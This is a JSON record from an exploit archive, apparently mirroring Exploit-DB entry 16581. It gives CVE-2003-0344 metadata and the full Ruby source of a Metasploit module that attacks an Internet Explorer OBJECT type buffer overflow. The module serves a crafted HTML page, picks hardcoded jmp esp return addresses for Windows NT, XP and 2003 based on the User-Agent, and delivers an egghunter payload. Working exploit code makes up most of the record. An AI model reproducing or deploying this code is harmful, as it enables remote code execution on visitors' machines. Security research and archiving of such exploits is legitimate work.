{"exploit":{"id":"EDB-16581","name":"Microsoft Internet Explorer - Object Type (MS03-020) (Metasploit)","description":"Microsoft Internet Explorer - Object Type (MS03-020) (Metasploit)","cves":["CVE-2003-0344"],"author":"Metasploit","published":"2010-08-25","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16581","path":"exploits/windows/remote/16581.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16581.rb","vulnerabilities":[{"id":"CVE-2003-0344","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in Microsoft Internet Explorer 5.01, 5.5, and 6.0 allows remote attackers to execute arbitrary code via / (slash) characters in the Type property of an Object tag in a web page.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2003-0344","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2003-0344"},"updatedAt":"2024-08-08T01:50:47.586Z","retrievedAt":"2026-11-26T12:22:11.832Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16581.png?v=2","url":"https://exploitbin.com/exploits/EDB-16581","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16581/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16581/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: ms03_020_ie_objecttype.rb 10150 2010-08-25 20:55:37Z jduck $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = NormalRanking\n\n\tinclude Msf::Exploit::Remote::HttpServer::HTML\n\tinclude Msf::Exploit::Remote::Egghunter\n\n\tinclude Msf::Exploit::Remote::BrowserAutopwn\n\tautopwn_info({\n\t\t:ua_name      => HttpClients::IE,\n\t\t:javascript   => false,\n\t\t:os_name      => OperatingSystems::WINDOWS,\n\t\t:vuln_test    => nil, # no way to test without just trying it\n\t\t:prefix_html  => \"<!--[if lt IE 7]>\",\n\t\t:postfix_html => \"<![endif]-->\",\n\t\t:rank         => NormalRanking  # reliable memory corruption\n\t})\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'MS03-020 Internet Explorer Object Type',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits a vulnerability in Internet Explorer's\n\t\t\t\thandling of the OBJECT type attribute.\n\t\t\t},\n\t\t\t'Author'         => 'skape',\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Version'        => '$Revision: 10150 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2003-0344' ],\n\t\t\t\t\t[ 'OSVDB', '2967'    ],\n\t\t\t\t\t[ 'BID', '7806'      ],\n\t\t\t\t\t[ 'MSB', 'MS03-020'  ],\n\t\t\t\t],\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'    => 1000,\n\t\t\t\t\t'MaxNops'  => 0,\n\t\t\t\t\t'BadChars' => \"\\x8b\\xe2\", # Prevent UTF-8-ification\n\t\t\t\t\t'StackAdjustment' => -3500,\n\t\t\t\t},\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t# Target 0: Automatic\n\t\t\t\t\t[\n\t\t\t\t\t\t'Windows NT/XP/2003 Automatic',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Platform' => 'win',\n\t\t\t\t\t\t\t'Rets'     =>\n\t\t\t\t\t\t\t\t[\n\t\t\t\t\t\t\t\t\t0x777e85ab, # Windows NT: samlib jmp esp\n\t\t\t\t\t\t\t\t\t0x71ab1d54, # Windows XP: ws2_32 push esp/ret SP0/1\n\t\t\t\t\t\t\t\t\t0x77d1f92f, # Windows 2003: user32 jmp esp SP0/1\n\t\t\t\t\t\t\t\t],\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\t\t\t\t],\n\t\t\t'DefaultTarget'  => 0,\n\t\t\t'DisclosureDate' => 'Jun 04 2003'))\n\tend\n\n\tdef on_request_uri(cli, request)\n\t\tclean = 0x7ffdec50\n\t\tret   = nil\n\n\t\t# Figure out which return address to use based on the user-agent\n\t\tcase request['User-Agent']\n\t\t\twhen /Windows NT 5.2/\n\t\t\t\tret = target['Rets'][2]\n\t\t\twhen /Windows NT 5.1/\n\t\t\t\tret = target['Rets'][1]\n\t\t\twhen /Windows NT/\n\t\t\t\tret = target['Rets'][0]\n\t\t\telse\n\t\t\t\tprint_status(\"Sending 404 to user agent: #{request['User-Agent']}\")\n\t\t\t\tcli.send_response(create_response(404, 'File not found'))\n\t\t\t\treturn\n\t\tend\n\n\t\t# Re-generate the payload\n\t\treturn if ((p = regenerate_payload(cli)) == nil)\n\n\t\t# Pack the values\n\t\tret    = [ ret   ].pack('V')\n\t\tclean  = [ clean ].pack('V')\n\t\thunter = generate_egghunter(p.encoded, payload_badchars, { :checksum => true })\n\t\tegg    = hunter[1]\n\n\t\t# Now, build out the HTTP response payload\n\t\tcontent =\n\t\t\t\"<html>\" + egg + \"\\n\" +\n\t\t\t\"<object type=\\\"////////////////////////////////////////////////////////////////\" +\n\t\t\trand_text_alphanumeric(8) + ret + clean +\n\t\t\tmake_nops(8) + hunter[0] + \"\\\">\" +\n\t\t\t\"</object>\" +\n\t\t\t\"</html>\"\n\n\t\tprint_status(\"Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...\")\n\n\t\t# Transmit the response to the client\n\t\tsend_response_html(cli, content)\n\n\t\t# Handle the payload\n\t\thandler(cli)\n\tend\n\nend","sha256":"f910dce7f53f14b129006773110e815ed4a24e7e544f6ef0c86a08411016fc47","bytes":3256,"fetchedAt":"2026-11-27T07:09:45.260Z","encoding":"utf-8 (display only; download retains original bytes)"}